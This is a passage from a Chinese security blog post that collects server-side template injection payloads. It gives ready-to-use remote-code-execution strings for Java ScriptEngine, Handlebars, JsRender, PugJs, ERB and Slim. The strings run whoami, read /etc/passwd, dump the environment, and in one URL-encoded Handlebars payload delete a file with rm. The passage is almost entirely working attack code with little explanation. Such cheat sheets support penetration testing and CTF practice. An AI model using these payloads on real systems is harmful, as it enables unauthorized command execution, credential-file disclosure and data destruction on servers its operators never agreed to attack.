java.lang.String(&#x27;xxx&#x27;)\&quot;)&#125;&#125;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">&#123;&#123;&#x27;a&#x27;.getClass().forName(&#x27;javax.script.ScriptEngineManager&#x27;).newInstance().getEngineByName(&#x27;JavaScript&#x27;).eval(\&quot;var x=new java.lang.ProcessBuilder; x.command(\\\&quot;whoami\\\&quot;); x.start()\&quot;)&#125;&#125;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">&#123;&#123;&#x27;a&#x27;.getClass().forName(&#x27;javax.script.ScriptEngineManager&#x27;).newInstance().getEngineByName(&#x27;JavaScript&#x27;).eval(\&quot;var x=new java.lang.ProcessBuilder; x.command(\\\&quot;netstat\\\&quot;); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\&quot;)&#125;&#125;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">&#123;&#123;&#x27;a&#x27;.getClass().forName(&#x27;javax.script.ScriptEngineManager&#x27;).newInstance().getEngineByName(&#x27;JavaScript&#x27;).eval(\&quot;var x=new java.lang.ProcessBuilder; x.command(\\\&quot;uname\\\&quot;,\\\&quot;-a\\\&quot;); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\&quot;)&#125;&#125;</span></span><br></pre></td></tr></table></figure>

<h1 id="4-Nodejs中的SSTI"><a href="#4-Nodejs中的SSTI" class="headerlink" title="4.Nodejs中的SSTI"></a>4.Nodejs中的SSTI</h1><h2 id="1-Handlebars"><a href="#1-Handlebars" class="headerlink" title="1.Handlebars"></a>1.Handlebars</h2><figure class="highlight handlebars"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="template-tag">&#123;&#123;#<span class="name"><span class="builtin-name">with</span></span> <span class="string">&quot;s&quot;</span> <span class="keyword">as</span> |string|&#125;&#125;</span><span class="xml"></span></span><br><span class="line"><span class="xml">  </span><span class="template-tag">&#123;&#123;#<span class="name"><span class="builtin-name">with</span></span> <span class="string">&quot;e&quot;</span>&#125;&#125;</span><span class="xml"></span></span><br><span class="line"><span class="xml">    </span><span class="template-tag">&#123;&#123;#<span class="name"><span class="builtin-name">with</span></span> split <span class="keyword">as</span> |conslist|&#125;&#125;</span><span class="xml"></span></span><br><span class="line"><span class="xml">      </span><span class="template-variable">&#123;&#123;<span class="name">this.pop</span>&#125;&#125;</span><span class="xml"></span></span><br><span class="line"><span class="xml">      </span><span class="template-variable">&#123;&#123;<span class="name">this.push</span> (<span class="name"><span class="builtin-name">lookup</span></span> string.sub <span class="string">&quot;constructor&quot;</span>)&#125;&#125;</span><span class="xml"></span></span><br><span class="line"><span class="xml">      </span><span class="template-variable">&#123;&#123;<span class="name">this.pop</span>&#125;&#125;</span><span class="xml"></span></span><br><span class="line"><span class="xml">      </span><span class="template-tag">&#123;&#123;#<span class="name"><span class="builtin-name">with</span></span> string.split <span class="keyword">as</span> |codelist|&#125;&#125;</span><span class="xml"></span></span><br><span class="line"><span class="xml">        </span><span class="template-variable">&#123;&#123;<span class="name">this.pop</span>&#125;&#125;</span><span class="xml"></span></span><br><span class="line"><span class="xml">        </span><span class="template-variable">&#123;&#123;<span class="name">this.push</span> <span class="string">&quot;return require(&#x27;child_process&#x27;).exec(&#x27;whoami&#x27;);&quot;</span>&#125;&#125;</span><span class="xml"></span></span><br><span class="line"><span class="xml">        </span><span class="template-variable">&#123;&#123;<span class="name">this.pop</span>&#125;&#125;</span><span class="xml"></span></span><br><span class="line"><span class="xml">        </span><span class="template-tag">&#123;&#123;#<span class="name"><span class="builtin-name">each</span></span> conslist&#125;&#125;</span><span class="xml"></span></span><br><span class="line"><span class="xml">          </span><span class="template-tag">&#123;&#123;#<span class="name"><span class="builtin-name">with</span></span> (<span class="name">string.sub.apply</span> <span class="number">0</span> codelist)&#125;&#125;</span><span class="xml"></span></span><br><span class="line"><span class="xml">            </span><span class="template-variable">&#123;&#123;<span class="name">this</span>&#125;&#125;</span><span class="xml"></span></span><br><span class="line"><span class="xml">          </span><span class="template-tag">&#123;&#123;/<span class="name"><span class="builtin-name">with</span></span>&#125;&#125;</span><span class="xml"></span></span><br><span class="line"><span class="xml">        </span><span class="template-tag">&#123;&#123;/<span class="name"><span class="builtin-name">each</span></span>&#125;&#125;</span><span class="xml"></span></span><br><span class="line"><span class="xml">      </span><span class="template-tag">&#123;&#123;/<span class="name"><span class="builtin-name">with</span></span>&#125;&#125;</span><span class="xml"></span></span><br><span class="line"><span class="xml">    </span><span class="template-tag">&#123;&#123;/<span class="name"><span class="builtin-name">with</span></span>&#125;&#125;</span><span class="xml"></span></span><br><span class="line"><span class="xml">  </span><span class="template-tag">&#123;&#123;/<span class="name"><span class="builtin-name">with</span></span>&#125;&#125;</span><span class="xml"></span></span><br><span class="line"><span class="xml"></span><span class="template-tag">&#123;&#123;/<span class="name"><span class="builtin-name">with</span></span>&#125;&#125;</span><span class="xml"></span></span><br><span class="line"><span class="xml"></span></span><br><span class="line"><span class="xml">URL编码:</span></span><br><span class="line"><span class="xml">%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%0d%0a%20%20%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%0d%0a%20%20%20%20%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e%20%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%72%6d%20%2f%68%6f%6d%65%2f%63%61%72%6c%6f%73%2f%6d%6f%72%61%6c%65%2e%74%78%74%27%29%3b%22%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64%65%6c%69%73%74%29%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%2f%65%61%63%68%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%7b%7b%2f%77%69%74%68%7d%7d</span></span><br></pre></td></tr></table></figure>

<h2 id="2-JsRender"><a href="#2-JsRender" class="headerlink" title="2.JsRender"></a>2.JsRender</h2><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">&#123;&#123;:%22test%<span class="number">22.</span>toString.constructor.call(&#123;&#125;,%22alert(%27xss%<span class="number">27</span>)%<span class="number">22</span>)()&#125;&#125;</span><br><span class="line">&#123;&#123;:<span class="string">&quot;pwnd&quot;</span>.toString.constructor.call(&#123;&#125;,<span class="string">&quot;return global.process.mainModule.constructor._load(&#x27;child_process&#x27;).execSync(&#x27;cat /etc/passwd&#x27;).toString()&quot;</span>)()&#125;&#125;</span><br></pre></td></tr></table></figure>

<h3 id="3-PugJs"><a href="#3-PugJs" class="headerlink" title="3.PugJs"></a>3.PugJs</h3><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//test</span></span><br><span class="line">#&#123;<span class="number">7</span>*<span class="number">7</span>&#125;</span><br><span class="line"><span class="comment">//rce</span></span><br><span class="line">#&#123;<span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>&#123;localLoad=<span class="built_in">global</span>.process.mainModule.constructor._load;sh=localLoad(<span class="string">&quot;child_process&quot;</span>).exec(<span class="string">&#x27;touch /tmp/pwned.txt&#x27;</span>)&#125;()&#125;</span><br></pre></td></tr></table></figure>

<h1 id="5-Ruby中SSTI"><a href="#5-Ruby中SSTI" class="headerlink" title="5.Ruby中SSTI"></a>5.Ruby中SSTI</h1><h2 id="1-ERB"><a href="#1-ERB" class="headerlink" title="1.ERB"></a>1.ERB</h2><figure class="highlight erb"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="xml">//test</span></span><br><span class="line"><span class="xml">&#123;&#123;7*7&#125;&#125; = &#123;&#123;7*7&#125;&#125;</span></span><br><span class="line"><span class="xml">$&#123;7*7&#125; = $&#123;7*7&#125;</span></span><br><span class="line"><span class="xml">&lt;%=</span><span class="ruby"> <span class="number">7</span>*<span class="number">7</span> </span><span class="xml">%&gt; = 49</span></span><br><span class="line"><span class="xml">&lt;%=</span><span class="ruby"> foobar </span><span class="xml">%&gt; = Error</span></span><br><span class="line"><span class="xml">//use</span></span><br><span class="line"><span class="xml">&lt;%=</span><span class="ruby"> system(<span class="string">&quot;whoami&quot;</span>) </span><span class="xml">%&gt; #Execute code</span></span><br><span class="line"><span class="xml">&lt;%=</span><span class="ruby"> Dir.entries(<span class="string">&#x27;/&#x27;</span>) </span><span class="xml">%&gt; #List folder</span></span><br><span class="line"><span class="xml">&lt;%=</span><span class="ruby"> File.open(<span class="string">&#x27;/etc/passwd&#x27;</span>).read </span><span class="xml">%&gt; #Read file</span></span><br><span class="line"><span class="xml"></span></span><br><span class="line"><span class="xml">&lt;%=</span><span class="ruby"> system(<span class="string">&#x27;cat /etc/passwd&#x27;</span>) </span><span class="xml">%&gt;</span></span><br><span class="line"><span class="xml">&lt;%=</span><span class="ruby"> <span class="string">`ls /`</span> </span><span class="xml">%&gt;</span></span><br><span class="line"><span class="xml">&lt;%=</span><span class="ruby"> IO.popen(<span class="string">&#x27;ls /&#x27;</span>).readlines()  </span><span class="xml">%&gt;</span></span><br><span class="line"><span class="xml">&lt;%</span><span class="ruby"> <span class="keyword">require</span> <span class="string">&#x27;open3&#x27;</span> </span><span class="xml">%&gt;&lt;%</span><span class="ruby"> <span class="variable">@a</span>,<span class="variable">@b</span>,<span class="variable">@c</span>,<span class="variable">@d</span>=Open3.popen3(<span class="string">&#x27;whoami&#x27;</span>) </span><span class="xml">%&gt;&lt;%=</span><span class="ruby"> <span class="variable">@b</span>.readline()</span><span class="xml">%&gt;</span></span><br><span class="line"><span class="xml">&lt;%</span><span class="ruby"> <span class="keyword">require</span> <span class="string">&#x27;open4&#x27;</span> </span><span class="xml">%&gt;&lt;%</span><span class="ruby"> <span class="variable">@a</span>,<span class="variable">@b</span>,<span class="variable">@c</span>,<span class="variable">@d</span>=Open4.popen4(<span class="string">&#x27;whoami&#x27;</span>) </span><span class="xml">%&gt;&lt;%=</span><span class="ruby"> <span class="variable">@c</span>.readline()</span><span class="xml">%&gt;</span></span><br></pre></td></tr></table></figure>

<h2 id="2-Slim"><a href="#2-Slim" class="headerlink" title="2.Slim"></a>2.Slim</h2><figure class="highlight ruby"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">&#123; <span class="number">7</span> * <span class="number">7</span> &#125;</span><br><span class="line">&#123; <span class="string">%x|env|</span> &#125;</span><br></pre></td></tr></table></figure>















<p>from：</p>
<blockquote>
<p>  <a target="_blank" rel="noopener" href="https://blog.gm7.org/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/01.%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/02.WEB%E6%BC%8F%E6%B4%9E/05.SSTI%E6%B3%A8%E5%85%A5/">https://blog.gm7.org/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/01.%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/02.WEB%E6%BC%8F%E6%B4%9E/05.SSTI%E6%B3%A8%E5%85%A5/</a></p>
<p>  <a target="_blank" rel="noopener" href="https://xz.aliyun.com/t/7518">https://xz.aliyun.com/t/7518</a></p>
<p>  <a target="_blank" rel="noopener" href="https://err0r.top/article/ssti">https://err0r.top/article/ssti</a></p>
</blockquote>

                                                                    </div>
                                                                    
                                                                        <div class="prev-or-next">
                                                                            <div class="post-foot-next">
                                                                                
                                                                                    <a href="/2022/03/28/VulnHub04/" target="_self">
                                                                                        <i class="iconfont icon-chevronleft"></i>
                                                                                        <span>Prev</span>
                                                                                    </a>
                                                                                    
                                                                            </div>
                                                                            <div class="post-attach">
                                                                                <!-- <span class="post-pubtime">
              <i class="iconfont icon-updatetime" title="Update time"></i>
              2022-03-29
            </span> -->

                                                                                
                                                                                            <span class="post-categories">
          <!-- <i class="iconfont icon-bookmark" title="Categories"></i> -->
          
          <!-- <span class="span--category">
            <a href="/categories/Technology/" title="Technology">
              <b>#</b> Technology
            </a>
          </span> -->
                                                                                            
                                                                                                </span>
                                                                                                
                                                                                    <span class="post-tags">
          <!-- <i class="iconfont icon-tags" title="Tags"></i> -->
          
          <!-- <span class="span--tag">
            <a href="/tags/WEB/" title="WEB">
              <b>#</b> WEB
            </a>
          </span> -->
                                                                                    
                                                                                        </span>
                                                                                        
                                                                            </div>
                                                                            <div class="post-foot-prev">
                                                                                
                                                                                    <a href="/2022/03/31/SpringMVC%E5%88%9D%E6%8E%A2/" target="_self">
                                                                                        <span>Next</span>
                                                                                        <i class="iconfont icon-chevronright"></i>
                                                                                    </a>
                                                                                    
                                                                            </div>
                                                                        </div>
                                                                        
                                                                </div>
                                                                
  <div id="btn-catalog" class="btn-catalog">
    <i class="iconfont icon-catalog"></i>
  </div>
  <div class="post-catalog hidden" id="catalog">
    <div class="title">Contents</div>
    <div class="catalog-content">
      
        <ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#1-PHP%E4%B8%AD%E7%9A%84ssti"><span class="toc-text">1.PHP中的ssti</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#Twig%E6%A1%86%E6%9E%B6"><span class="toc-text">Twig框架</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Smarty%E6%A1%86%E6%9E%B6"><span class="toc-text">Smarty框架</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#2-python%E4%B8%AD%E7%9A%84ssti"><span class="toc-text">2.python中的ssti</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#0-%E9%80%9A%E7%94%A8"><span class="toc-text">0.通用</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#os-wrap-close%E4%B8%AD%E7%9A%84popen-py2%E4%B8%8D%E8%A1%8C"><span class="toc-text">os._wrap_close中的popen(py2不行)</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#os%E4%B8%ADpopen"><span class="toc-text">os中popen</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#import-%E4%B8%ADos-py2%E4%B8%8D%E8%A1%8C"><span class="toc-text">__import__中os(py2不行)</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#1-Jinjia2"><span class="toc-text">1.Jinjia2</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%BB%95%E8%BF%87"><span class="toc-text">绕过</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#2-tornado"><span class="toc-text">2.tornado</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#3-Djanjo"><span class="toc-text">3.Djanjo</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#3-Java%E4%B8%ADssti"><span class="toc-text">3.Java中ssti</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#1-Velocity"><span class="toc-text">1.Velocity</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#2-FreeMarker"><span class="toc-text">2.FreeMarker</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#3-Spring-View-Manipulation"><span class="toc-text">3.Spring View Manipulation</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#4-Pebble"><span class="toc-text">4.Pebble</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#5-Jinjava"><span class="toc-text">5.Jinjava</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#4-Nodejs%E4%B8%AD%E7%9A%84SSTI"><span class="toc-text">4.Nodejs中的SSTI</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#1-Handlebars"><span class="toc-text">1.Handlebars</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#2-JsRender"><span class="toc-text">2.JsRender</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#3-PugJs"><span class="toc-text">3.PugJs</span></a></li></ol></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#5-Ruby%E4%B8%ADSSTI"><span class="toc-text">5.Ruby中SSTI</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#1-ERB"><span class="toc-text">1.ERB</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#2-Slim"><span class="toc-text">2.Slim</span></a></li></ol></li></ol>
      
    </div>
  </div>

  
<script src="/js/catalog.js"></script>




                                                                    
                                                                        <div class="comments-container">
                                                                            







                                                                        </div>
                                                                        
                                                            </div>
                                                            
        
<div class="footer">
  <div class="social">
    <ul>
      
        <li>
          <a title="github" target="_blank" rel="noopener" href="https://github.com/Ghostasky">
            <i class="iconfont icon-github"></i>
          </a>
        </li>
      
        <li>
          <a title="twitter" target="_blank" rel="noopener" href="https://twitter.com/ghostasky">
            <i class="iconfont icon-twitter"></i>
          </a>
        </li>
      
    </ul>
  </div>
  
    
    <div class="footer-more">
      
        <a target="_blank" rel="noopener" href="https://github.com/Ghostasky">怕什么真理无穷，进一寸有进一寸的欢喜。</a>
        
    </div>
  
    
    <div class="footer-more">
      
        <a target="_blank" rel="noopener" href="https://github.com/zchengsite/hexo-theme-oranges">Copyright © 2022 Oranges</a>
        
    </div>
  
    
    <div class="footer-more">
      
        <a target="_blank" rel="noopener" href="https://github.com/zchengsite/hexo-theme-oranges">Theme by Oranges | Powered by Hexo</a>
        
    </div>
  
</div>

      </div>

      <div class="tools-bar">
        <div class="back-to-top tools-bar-item hidden">
  <a href="javascript: void(0)">
    <i class="iconfont icon-chevronup"></i>
  </a>
</div>


<script src="/js/backtotop.js"></script>



        
  <div class="search-icon tools-bar-item" id="search-icon">
    <a href="javascript: void(0)">
      <i class="iconfont icon-search"></i>
    </a>
  </div>

  <div class="search-overlay hidden">
    <div class="search-content" tabindex="0">
      <div class="search-title">
        <span class="search-icon-input">
          <a href="javascript: void(0)">
            <i class="iconfont icon-search"></i>
          </a>
        </span>
        
          <input type="text" class="search-input" id="search-input" placeholder="Search...">
        
        <span class="search-close-icon" id="search-close-icon">
          <a href="javascript: void(0)">
            <i class="iconfont icon-close"></i>
          </a>
        </span>
      </div>
      <div class="search-result" id="search-result"></div>
    </div>
  </div>

  <script type="text/javascript">
    var inputArea = document.querySelector("#search-input")
    var searchOverlayArea = document.querySelector(".search-overlay")

    inputArea.onclick = function() {
      getSearchFile()
      this.onclick = null
    }

    inputArea.onkeydown = function() {
      if(event.keyCode == 13)
        return false
    }

    function openOrHideSearchContent() {
      let isHidden = searchOverlayArea.classList.contains('hidden')
      if (isHidden) {
        searchOverlayArea.classList.remove('hidden')
        document.body.classList.add('hidden')
        // inputArea.focus()
      } else {
        searchOverlayArea.classList.add('hidden')
        document.body.classList.remove('hidden')
      }
    }

    function blurSearchContent(e) {
      if (e.target === searchOverlayArea) {
        openOrHideSearchContent()
      }
    }

    document.querySelector("#search-icon").addEventListener("click", openOrHideSearchContent, false)
    document.querySelector("#search-close-icon").addEventListener("click", openOrHideSearchContent, false)
    searchOverlayArea.addEventListener("click", blurSearchContent, false)

    var searchFunc = function (path, search_id, content_id) {
      'use strict';
      var $input = document.getElementById(search_id);
      var $resultContent = document.getElementById(content_id);
      $resultContent.innerHTML = "<ul><span class='local-search-empty'>First search, index file loading, please wait...<span></ul>";
      $.ajax({
        // 0x01. load xml file
        url: path,
        dataType: "xml",
        success: function (xmlResponse) {
          // 0x02. parse xml file
          var datas = $("entry", xmlResponse).map(function () {
            return {
              title: $("title", this).text(),
              content: $("content", this).text(),
              url: $("url", this).text()
            };
          }).get();
          $resultContent.innerHTML = "";

          $input.addEventListener('input', function () {
            // 0x03. parse query to keywords list
            var str = '<ul class=\"search-result-list\">';
            var keywords = this.value.trim().toLowerCase().split(/[\s\-]+/);
            $resultContent.innerHTML = "";
            if (this.value.trim().length <= 0) {
              return;
            }
            // 0x04. perform local searching
            datas.forEach(function (data) {
              var isMatch = true;
              var content_index = [];
              if (!data.title || data.title.trim() === '') {
                data.title = "Untitled";
              }
              var orig_data_title = data.title.trim();
              var data_title = orig_data_title.toLowerCase();
              var orig_data_content = data.content.trim().replace(/<[^>]+>/g, "");
              var data_content = orig_data_content.toLowerCase();
              var data_url = data.url;
              var index_title = -1;
              var index_content = -1;
              var first_occur = -1;
              // only match artiles with not empty contents
              if (data_content !== '') {
                keywords.forEach(function (keyword, i) {
                  index_title = data_title.indexOf(keyword);
                  index_content = data_content.indexOf(keyword);

                  if (index_title < 0 && index_content < 0) {
                    isMatch = false;
                  } else {
                    if (index_content < 0) {
                      index_content = 0;
                    }
                    if (i == 0) {
                      first_occur = index_content;
                    }
                    // content_index.push({index_content:index_content, keyword_len:keyword_len});
                  }
                });
              } else {
                isMatch = false;
              }
              // 0x05. show search results
              if (isMatch) {
                str += "<li><a href='" + data_url + "' class='search-result-title'>" + orig_data_title + "</a>";
                var content = orig_data_content;
                if (first_occur >= 0) {
                  // cut out 100 characters
                  var start = first_occur - 20;
                  var end = first_occur + 80;

                  if (start < 0) {
                    start = 0;
                  }

                  if (start == 0) {
                    end = 100;
                  }

                  if (end > content.length) {
                    end = content.length;
                  }

                  var match_content = content.substr(start, end);

                  // highlight all keywords
                  keywords.forEach(function (keyword) {
                    var regS = new RegExp(keyword, "gi");
                    match_content = match_content.replace(regS, "<span class=\"search-keyword\">" + keyword + "</span>");
                  });

                  str += "<p class=\"search-result-abstract\">" + match_content + "...</p>"
                }
                str += "</li>";
              }
            });
            str += "</ul>";
            if (str.indexOf('<li>') === -1) {
              return $resultContent.innerHTML = "<ul><span class='local-search-empty'>No result<span></ul>";
            }
            $resultContent.innerHTML = str;
          });
        },
        error: function(xhr, status, error) {
          $resultContent.innerHTML = ""
          if (xhr.status === 404) {
            $resultContent.innerHTML = "<ul><span class='local-search-empty'>The search.xml file was not found, please refer to：<a href='https://github.com/zchengsite/hexo-theme-oranges#configuration' target='_black'>configuration</a><span></ul>";
          } else {
            $resultContent.innerHTML = "<ul><span class='local-search-empty'>The request failed, Try to refresh the page or try again later.<span></ul>";
          }
        }
      });
      $(document).on('click', '#search-close-icon', function() {
        $('#search-input').val('');
        $('#search-result').html('');
      });
    }

    var getSearchFile = function() {
        var path = "/search.xml";
        searchFunc(path, 'search-input', 'search-result');
    }
  </script>




        
  <div class="tools-bar-item theme-icon" id="switch-color-scheme">
    <a href="javascript: void(0)">
      <i id="theme-icon" class="iconfont icon-moon"></i>
    </a>
  </div>

  
<script src="/js/colorscheme.js"></script>





        
  
    <div class="share-icon tools-bar-item">
      <a href="javascript: void(0)" id="share-icon">
        <i class="iconfont iconshare"></i>
      </a>
      <div class="share-content hidden">
        
          <a class="share-item" href="https://twitter.com/intent/tweet?text=' + SSTI%20payload%E8%AE%B0%E5%BD%95 + '&url=' + https%3A%2F%2Fghostasky.github.io%2F2022%2F03%2F29%2FSSTI%2F + '" target="_blank" title="Twitter">
            <i class="iconfont icon-twitter"></i>
          </a>
        
        
          <a class="share-item" href="https://www.facebook.com/sharer.php?u=https://ghostasky.github.io/2022/03/29/SSTI/" target="_blank" title="Facebook">
            <i class="iconfont icon-facebooksquare"></i>
          </a>
        
      </div>
    </div>
  
  
<script src="/js/shares.js"></script>



      </div>
    </div>
  </body>
</html>
